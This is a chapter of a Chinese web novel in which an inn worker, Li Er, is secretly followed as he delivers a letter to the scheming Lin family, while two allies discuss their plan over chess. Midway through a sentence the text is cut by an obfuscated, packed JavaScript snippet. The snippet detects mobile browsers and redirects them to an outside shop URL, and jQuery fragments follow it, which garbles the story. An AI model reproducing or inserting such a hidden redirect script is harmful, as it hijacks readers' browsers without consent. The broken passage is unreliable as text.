24.医女传(二十三)
作品:《病美人今天也在颠覆历史》 “李二,死哪去了?客人还等着呢?”
客栈的大堂里坐满了来来往往的客商,衣着相貌各异的人三三两两的坐在一起谈天说地,热气腾腾的饭菜堆在桌面上,蒸腾起热热闹闹的人间烟火。忙的一脑门官司的掌柜实在忍无可忍,怒气冲冲的冲着门后喊道。
“来嘞,来嘞。”一个脑袋突然从门后冒了出来,五官模样算不上好看,一双略显精明的眼珠在眼眶里滴溜溜的转着。李二拍了拍胸口的衣襟,随即脸上堆满了讨好的笑容,小跑着来到掌柜的面前,点头哈腰的说道,“不好意思掌柜,真不好意思,我可能不小心吃坏肚子了,刚才去茅房了。”边说着边用腰上的围裙擦了擦湿漉漉的手。
赵掌柜的没好气白了李二一眼,冲着人摆了摆手,“去去去,关键时候掉链子,还不赶快干活去。”
“得嘞,我就这去。”说着李二便端起菜往外走。
“对了,你等等,”像是想起什么,赵掌柜突然开口,“后厨有一屉糕点,模样做坏了,但味道还是好的,你等拿回去给你那老娘吃吧。”
“谢掌柜的赏,”李二愣了一下,反应过来笑的眼睛都弯成了缝,“我这辈子就认定您了,给您当牛做马报答您的大恩大德。”
“去你的,”赵掌柜笑骂了一声,“油嘴滑舌,干活去!”
李二嘿嘿一笑,挠了挠头便一溜烟的跑了。
堂前悬挂着两盏灯笼,随着清风一同摇摆,黄澄澄的光晕在烟火气中浮沉,落下了一片喧闹。饭菜的香味与酒香、烟枪中辛辣的烟味混杂在一起,和着客人店家的喧哗,将这大堂的角落塞的满满当当的。
李二如鱼得水的穿梭在期间,殷勤的伺候着这南来北往的客商,汗水洇湿了后背的衣衫,在晚风的吹拂下泛起丝丝凉意。
夜色渐深,客栈的喧闹逐渐被削薄,最终归于一片死寂。掌柜的斜倚在柜台后面拨弄着算盘,嘴里念念有词计算着一天的收入。李二拿着块抹布收拾着狼藉的桌面,破旧的桌面被擦的油光瓦亮的,地上残留的酒液混杂着饭菜的气息一同弥散在浑浊的空气里。
“行了,时候也不早了,回去吧。”掌柜掀起眼皮看了眼外头的天色,将记好的账本锁在柜子里,转身朝着李二说道,“路上注意点,别忘了拿那屉吃食。”
“得嘞。”李二将抹布洗干净晾好,从后厨拎起那盒点心便往外走,走之前还不忘向掌柜咧嘴一笑,“那我就先走了。”
“去吧去吧。”赵掌柜头也不抬的说道。
溶溶月色一不小心跌进了这喧嚣的人世,与翻涌的红尘一起随波逐流,只是起身才恍然惊觉,它早已滚了满身的烟火气,自此与尘世再也分不开了。
叶逐风褪去艳色张扬的红袍,换上了一身窄袖黑衣,将自己隐匿在浓浓夜色里,无声无息地俯瞰着下方的李二。那双顾盼生辉的狐狸眼中,没有半点往日的温度与笑意,有的只是被阴影掩映的狠戾与杀意。晚风扬起她衣袍的一角,掀起的是凛凛寒光。
而被叶逐风注视着的李二,依旧无知无觉的走在街上。
他拎着饭盒,嘴里哼着小调,心情很好的往家里走去,月光落在他的身上,照着一双粗粝的手,而在右手的食指根部与虎口处,有着一层厚厚的茧子。
叶逐风就这么盯着这个李二拎着饭盒悠悠闲闲的回到家里,那屋子甚为寻常,枝繁叶茂的大树遮住了大半的夜空,粗粝的枝桠向四周自然的伸展着。院子里养着几只鸡,现今都老老实实的窝在鸡窝里不吭声,好似晚上的青溪镇有什么藏在暗处的妖怪一般,震慑着这座镇子里生灵。
叶逐风在那屋子附近随意找了棵树窝着,繁茂的枝叶将她遮了个严严实实,不漏半点痕迹。
她就这么在树上藏了一个多时辰,等的她都要不耐烦了,心里盘算着要好好宰姜柏舟一顿的时候,一个鬼鬼祟祟的身影突然从后窗翻了出来——正是李二。
见此,叶逐风顿时来了精神。足见轻点,飞身掠起,悄无声息的跟在了那人身后。
这李二到也算的上是谨慎,时不时的环视着周遭的环境,甚至还不断的变换道路,七绕八拐的不知走了多少,有一点,这李二的左手始终护在右襟处。只可惜,道高一尺魔高一丈,这李二或许不普通,但是叶逐风常年游走江湖,风里来雨里去的那么多年,相比之下显然是更胜一筹。
这李二绕了好大一个圈子,最终却是停在了那林府的角门前。
“果然不出所料,还真让姜柏舟给说对了。”叶逐风嘴里叼着一根草,漫不经心的想到。她没有贸然跟上去,而是照旧找了棵枝芽繁茂的大树藏了进去,躺在粗壮的枝干上幽幽地盯着不远处的李二和林家。
林家守备森严,她可以感受到内里必然有高手坐镇,若是冒冒失失靠近,恐怕会打草惊蛇。来之前姜柏舟特意叮嘱过,她的任务便是看着那小二把东西送到林府中,其余的便不必管。
“真的不必去管吗?”霍酌川抬眸看向对面的姜柏舟。
两人倚窗相对而坐,中间摆着一盘棋,黑白棋子在上面激烈的厮杀着。
黑棋兵行险招,每一步都踩在刀刃上,带着肃杀之气,侵吞着白棋的地盘。白棋却始终收敛着,如春风化雨,密不透风的悄然包裹着黑棋。
棋盘外,两人之间的暗流也在不断翻涌着。
姜柏舟将一枚黑棋轻轻抵在唇下,低垂眼眸细细打量着棋盘上的局势,“不必,他们还翻不起什么浪来。”说着姜柏舟落下一子,“该你了。”
霍酌川看着棋局皱了皱眉,犹豫半响才落下一子,“可他们真能按照咱们设想的那样去做?万一出了意外……”
“不会有意外,”对于霍酌川的落子姜柏舟早有预料,她捻起一颗棋子,黑色的棋子在烛火下泛着冷光,光影打在她的眉骨间,愈发晦暗深邃,“他们只会一步一步,走向死路。”
窗外夜风穿过枝桠,满室烛影应声一晃。
“啪”的一声,黑棋落下,姜柏舟掀起眼皮冲着霍酌川勾唇一笑,说:
“你输了。”
“呼!”
狂风骤起,山雨将倾。街上的行人裹紧衣袍,面带忧色的瞥了眼天色,低下头匆匆忙忙往前赶路。
李二理了理被风吹乱的发丝,鬼鬼祟祟的朝周遭看了看,确定没什么异样了才小心翼翼的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210841|195435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬手在门口敲了三下。约摸是等了半刻钟,这角门悄悄开了一条缝,确认来的人身份无误后,李二便闪身猫了进去。
“东西拿到了吗?”开门的人凑到李二身边,压低嗓音询问道。
“我做事就放心吧,”李二拍了拍右襟,向着身旁的人示意道,眉梢间带着几分得意,“都在这了,就让老爷他们放心吧。”
“好小子,不愧是你。”门房一听,顿时眉开眼笑起来,拍了拍李二的肩膀,“老爷肯定高兴,只要他高兴了,你那老娘的病就有着落了。”
想到躺在床上的母亲,李二原本扬起的唇角落了下来,手指紧紧攥了起来,将那衣袍攥起了一片褶皱,他看眼身旁的门房勉强说道:“希望吧。”
两人没再说些什么,步履匆匆的穿过一片长廊往屋里走去。寒风肆虐而过,泥泞的土壤上铺了一层厚厚的残枝落叶,为暗处的虫豸提供了生存的温床。
两人很快就来到了书房门口,门房自觉地在门廊下停下了脚步,只留李二一人踏进屋内。
李二站在门外抬手整理了一下稍显凌乱的衣襟,深吸一口气推门而入。一股暖气迎面扑来,身上沾染的寒气顿时消融了个干净。
李二自觉跪了下来,从右襟摸出信封小心翼翼的举到林元洲的面前,低垂着眉眼不敢抬头去看。
林元洲高高在上的俯瞰着下方卑微的李二,一点一点的转着指节间的玉扳指,在烛火的照耀下仿若流淌着血色。感受到空气中浓重的气氛,李二的愈发向下低去。
林元洲忽然笑了一声,脸色一变,摆出一副和蔼的模样向旁边的林叙昭递了个眼神,示意他把信封拿来。
林叙昭心领神会,起身走到李二的身旁,接过信封的同时一并将李二扶了起来,和悦可亲的说道:“你这次做的不错,立了大功,想要什么赏赐尽管说吧。”
李二目含感激的看了林叙昭一眼,随即又低下头战战兢兢的回话道:“承蒙老爷少爷的厚爱,这都是小人该做的,只是……只是小人的老娘……”
“我知道,你放心,她会好起来的。”林叙昭面上带着和善的笑容,轻轻打断了李二的话。
李二顿时跪了下去,冲着林叙昭一下一下磕头,额角很快就赤红一片,“谢谢老爷,谢谢少爷……”
林叙昭也不阻止,就这么站在李二身边看着他一下下磕头,脸上依旧挂着那副和煦春风的笑容,端的一派和颜悦色、彬彬有礼。
“咚、咚、咚”
一声又一声的敲击声在这间屋子里回荡。
终于,林叙昭出声阻止道:“不必如此,这都是你该得的,下去吧,去账房那领五两银子,去吧。”
“是,小的告退。”李二麻溜的站起身,额头上早已经青紫一片,但他毫不在意,满心满眼只有自己的母亲将要痊愈的喜悦。
只是在关门的刹那,他鬼使神差的抬眼从门缝里看了过去,落进了一双黝黑的眼睛,那眼睛里不带半分的温度,好似要将与他对视的人吸进去,扒皮削肉。那双眼睛的主人不是别人,正是林叙白——他们那最是温润和善的大少爷。
李二不禁打了个寒颤。

